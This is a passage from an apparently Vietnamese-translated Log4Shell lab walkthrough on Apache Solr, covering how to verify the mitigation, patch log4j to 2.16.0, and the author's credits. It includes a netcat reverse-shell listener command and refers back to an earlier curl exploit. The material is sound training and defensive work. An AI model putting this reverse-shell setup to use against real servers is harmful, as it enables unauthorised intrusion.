Quá trình này có thể khác nhau giữa các lần cài đặt, nhưng đối với máy chủ này, bạn có thể khởi động lại dịch vụ bằng cú pháp sau:

Restart solr service
user@machine$ sudo /etc/init.d/solr restart

Run the above command wait for the Apache Solr service to successfully restart.


Để xác thực rằng bản vá đã diễn ra, hãy bắt đầu một trình nghe netcat khác như bạn đã có trước đó và khởi động máy chủ giới thiệu LDAP tạm thời và máy chủ HTTP của bạn (lại ở các thiết bị đầu cuối riêng biệt).

Bạn sẽ muốn tạo lại cùng một thiết lập để khai thác lại máy.

Start netcat listener
user@machine$ nc -lnvp 9999

Nếu bạn cần cập nhật cú pháp lệnh, vui lòng cuộn lên nhiệm vụ số 5.

Re-exploit the server with the same curl command syntax you used in Task #5.


Bạn sẽ thấy rằng không có yêu cầu nào được thực hiện đối với máy chủ LDAP tạm thời của bạn, do đó không có yêu cầu nào được thực hiện đối với máy chủ HTTP của bạn và ... không có trình bao ngược nào được gửi trở lại trình nghe netcat của bạn!

Verify that this Apache Solr instance has now been mitigated against the Log4shell exploit!

Task 10  Patching

Tại thời điểm tạo bài tập này, Apache Solr 8.11.1 vẫn chưa được phát hành cùng với bản vá chính thức cho CVE-2021-44228. Cùng với nhiều nhà cung cấp phần mềm khác, ngành công nghiệp này đang điên cuồng tìm cách vá phần mềm của họ và đẩy nó xuống cấp cho người dùng cuối càng nhanh càng tốt.

Xin hãy hiểu cho sự điên cuồng này. Có rất nhiều nơi tiềm ẩn mà lỗ hổng log4j này có thể xuất hiện, chúng ta có thể không bao giờ nhìn thấy sự kết thúc của lỗ hổng này trong một thời gian dài. Bạn, tôi, mỗi người trong chúng ta đều phải nâng cao nhận thức về sự cố này và yêu cầu cộng đồng có trách nhiệm trong việc tích cực ứng phó. Khi đến thời điểm, hãy tung ra các bản vá đã có sẵn và tiếp tục tìm kiếm các bản sao của lỗ hổng bảo mật này. Phải mất một ngôi làng.

Nếu thích hợp, hãy đảm bảo bạn vá gói log-log4j lên phiên bản 2.16.0 hoặc cao hơn (khi có bản phát hành mới). Trong phiên bản 2.16.0, JNDI bị vô hiệu hóa hoàn toàn, hỗ trợ Tra cứu tin nhắn bị xóa và lỗ hổng DoS mới CVE-2021-45046 không xuất hiện. Tải xuống bản phát hành này tại đây:

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

Nếu bạn chịu trách nhiệm xác định các dịch vụ dễ bị tấn công sử dụng log4j, thì có danh sách một số dịch vụ/sản phẩm bị ảnh hưởng nghiêm trọng tại đây.

Answer the questions below

"Tôi hiểu ý nghĩa của việc này và sẽ vá sớm, thường xuyên và luôn luôn."



Task 11  Credits and Author's Notes

Cảm ơn bạn đã nhấp vào tất cả các cách đến cuối, và tôi chân thành hy vọng bạn đọc những lời chia tay này.
Bài tập này được mang đến cho bạn với mục đích toàn tâm là nó cải thiện nhận thức, học tập và hiểu biết của bạn về tình trạng dễ bị tổn thương này vì những lý do chính đáng. Tài liệu được giới thiệu cho bạn sẽ không thể thành hiện thực nếu không có sự đóng góp đáng kinh ngạc từ các nhà nghiên cứu bảo mật, người ứng phó sự cố, quản trị viên hệ thống và các chuyên gia bảo mật trong toàn ngành. Chúng tôi gửi lời cảm ơn đáng kinh ngạc đến các chuyên gia đã làm việc không ngủ suốt ngày đêm, dành thời gian cuối tuần và thời gian cho bạn bè và gia đình, để bảo vệ toàn bộ Internet tốt hơn.

Post a Comment

0 Comments